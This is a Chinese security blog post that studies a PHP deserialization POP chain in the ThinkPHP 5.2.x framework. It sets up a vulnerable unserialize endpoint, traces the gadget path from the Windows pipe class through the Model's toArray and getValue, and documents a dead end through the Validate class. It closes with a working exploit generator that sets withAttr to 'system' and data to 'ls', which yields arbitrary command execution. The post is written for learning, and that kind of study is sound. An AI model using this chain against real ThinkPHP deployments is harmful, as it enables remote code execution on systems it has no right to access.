THINKPHP 5.2.X 反序列化POP链学习 2020-08-30 10:12:47 Steven Xeldax Thinkphp 5.2.x的下载地址 ``` http://download.xeldax.top/ ``` ### 环境搭建 在index中构造我们的反序列化点: ``` <?php namespace app\index\controller; class Index { public function index() { $a = $_GET["q"]; $a = base64_decode($a); unserialize($a); return "ok"; } } ``` 然后在public/index.php中实例化,当然也可以在route.php中添加(这个和之前5.1,5.0是有所不同的) ``` (new App()) ->name('index') ->autoMulti() // 如果项目不启用多应用 请注释掉本行 ->run() ->send(); ``` ### THINKPHP 5.2.X 反序列化POP链学习 POP链的第一步是寻找 ``` __destruct __wakeup ``` 5.2之前的入口点貌似还能再一次使用:  /verndor/topthink/framework/src/think/process/pipes/Windows.php 老地方存在file_exits可以触发__toString的方法。  全局搜索__toString  我们跟踪到/verndor/topthink/framework/src/think/model/concern/Conversion.php的__toString方法,一直跟进来到toArray,和上文5.2的路径是一样的。  toArray方法还是变化挺大的 ``` public function toArray(): array { $item = []; $visible = []; $hidden = []; // 合并关联数据 $data = array_merge($this->data, $this->relation); // 过滤属性 if (!empty($this->visible)) { $array = $this->parseAttr($this->visible, $visible); if (!empty($array)) { $data = array_intersect_key($data, array_flip($array)); } } if (empty($array) && !empty($this->hidden)) { $array = $this->parseAttr($this->hidden, $hidden); $data = array_diff_key($data, array_flip($array)); } foreach ($data as $key => $val) { $item[$key] = $this->getArrayData($key, $val, $visible, $hidden); } // 追加属性(必须定义获取器) foreach ($this->append as $key => $name) { $this->appendAttrToArray($item, $key, $name); } return $item; } ``` #### 错误的路径 在toArray中跟进到appendAttrToArray ``` // 追加属性(必须定义获取器) foreach ($this->append as $key => $name) { $this->appendAttrToArray($item, $key, $name); } ``` appendAttrToArray方法如下: ``` protected function appendAttrToArray(array &$item, $key, $name) { if (is_array($name)) { // 追加关联对象属性 $relation = $this->getRelation($key); if (!$relation) { $relation = $this->getAttr($key); $relation->visible($name); } $item[$key] = $relation->append($name)->toArray(); } elseif (strpos($name, '.')) { list($key, $attr) = explode('.', $name); // 追加关联对象属性 $relation = $this->getRelation($key); if (!$relation) { $relation = $this->getAttr($key); $relation->visible([$attr]); } $item[$key] = $relation->append([$attr])->toArray(); } else { $value = $this->getAttr($name); $item[$name] = $value; $this->getBindAttr($name, $value, $item); } } ``` 看到这边$relation我们可以控制,$name也可以控制,那么我们就可以传入类调用它的visible方法,如果这个类不存在visible方法,那么自动调用__call方法。  我们全局搜索__call方法  跟进到Validate类中 ``` public function __call($method, $args) { if ('is' == strtolower(substr($method, 0, 2))) { $method = substr($method, 2); } array_push($args, lcfirst($method)); return call_user_func_array([$this, 'is'], $args); } } ``` 继续更近is方法 ``` public function is($value, $rule, array $data = []): bool { switch (App::parseName($rule, 1, false)) { case 'require': // 必须 $result = !empty($value) || '0' == $value; break; case 'accepted': // 接受 $result = in_array($value, ['1', 'on', 'yes']); break; case 'date': // 是否是一个有效日期 $result = false !== strtotime($value); break; case 'activeUrl': // 是否为有效的网址 $result = checkdnsrr($value); break; case 'boolean': case 'bool': // 是否为布尔值 $result = in_array($value, [true, false, 0, 1, '0', '1'], true); break; case 'number': $result = ctype_digit((string) $value); break; case 'alphaNum': $result = ctype_alnum($value); break; case 'array': // 是否为数组 $result = is_array($value); break; case 'file': $result = $value instanceof File; break; case 'image': $result = $value instanceof File && in_array($this->getImageType($value->getRealPath()), [1, 2, 3, 6]); break; case 'token': $result = $this->token($value, '__token__', $data); break; default: if (isset(self::$type[$rule])) { // 注册的验证规则 $result = call_user_func_array(self::$type[$rule], [$value]); } elseif (function_exists('ctype_' . $rule)) { // ctype验证规则 $ctypeFun = 'ctype_' . $rule; $result = $ctypeFun($value); } elseif (isset($this->filter[$rule])) { // Filter_var验证规则 $result = $this->filter($value, $this->filter[$rule]); } else { // 正则验证 $result = $this->regex($value, $rule); } } return $result; } ``` 看到了个call_user_func_array  但是这边其实到这里是用不了的,因为self::$type是静态成员变量,在反序列化中我们是无法传入数值的。 可以尝试下,我们构造出validate的pop链: ``` <?php namespace think; class Validate{ protected static $type = []; public function __construct() { // $model = new static(); $this::$type = "111111111"; } } abstract class Model{ protected $append = []; private $data = []; public function __construct() { $this->append = [ "test"=>["test"] ]; $this->data = [ "test"=> new Validate() ]; // $this->relation = [ // "test"=> new Validate() // ]; } } namespace think\model; use think\Model; class Pivot extends Model { public function __construct() { parent::__construct(); } } namespace think\process\pipes; use think\model\Pivot; class Windows { private $files = []; public function __construct() { $this->files = [new Pivot()]; } } $a = serialize(new Windows()); echo base64_encode($a); echo "\n"; var_dump($a); echo "\n"; ``` >TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6Mjp7czo5OiIAKgBhcHBlbmQiO2E6MTp7czo0OiJ0ZXN0IjthOjE6e2k6MDtzOjQ6InRlc3QiO319czoxNzoiAHRoaW5rXE1vZGVsAGRhdGEiO2E6MTp7czo0OiJ0ZXN0IjtPOjE0OiJ0aGlua1xWYWxpZGF0ZSI6MDp7fX19fX0 然后跟进下  可以清楚的看到type是空的,我们把序列化数据打出来也能发现validate没有传入任何数据。  ``` O:14:"think\Validate":0:{}` ``` 所以到这里我们不得不回到Conversion中仔细看看其他的路径。 #### 正确的方向 来到Conversion.php中的appendAttrToArray方法 ``` protected function appendAttrToArray(array &$item, $key, $name) { if (is_array($name)) { // 追加关联对象属性 $relation = $this->getRelation($key); if (!$relation) { $relation = $this->getAttr($key); $relation->visible($name); } ``` 跟进$relation = $this->getAttr($key); ``` public function getAttr(string $name) { try { $relation = false; $value = $this->getData($name); } catch (InvalidArgumentException $e) { $relation = true; $value = null; } return $this->getValue($name, $value, $relation); } ``` 跟进$this->getValue($name, $value, $relation); ``` protected function getValue(string $name, $value, bool $relation = false) { // 检测属性获取器 $fieldName = $this->getRealFieldName($name); $method = 'get' . App::parseName($name, 1) . 'Attr'; if (isset($this->withAttr[$fieldName])) { if ($relation) { $value = $this->getRelationValue($name); } $closure = $this->withAttr[$fieldName]; $value = $closure($value, $this->data); ``` 重点看下 $value = $closure($value, $this->data); closure变量来自$withAttr成员变量,value来自data成员变量,两者我们都可以控制,因此任意执行任意函数。 我们构造POC,设置closure为system ``` <?php namespace think; class Validate{ protected static $type = []; public function __construct() { // $model = new static(); $this::$type = "111111111"; } } abstract class Model{ protected $append = []; private $data = []; private $withAttr = []; // private $relation = []; public function __construct() { $this->append = [ "test"=>["test"] ]; $this->data = [ "test"=> "ls" ]; $this->withAttr = [ "test"=> "system" ]; // $this->relation = [ // "test"=> new Validate() // ]; } } namespace think\model; use think\Model; class Pivot extends Model { public function __construct() { parent::__construct(); } } namespace think\process\pipes; use think\model\Pivot; class Windows { private $files = []; public function __construct() { $this->files = [new Pivot()]; } } $a = serialize(new Windows()); echo base64_encode($a); echo "\n"; var_dump($a); echo "\n"; ```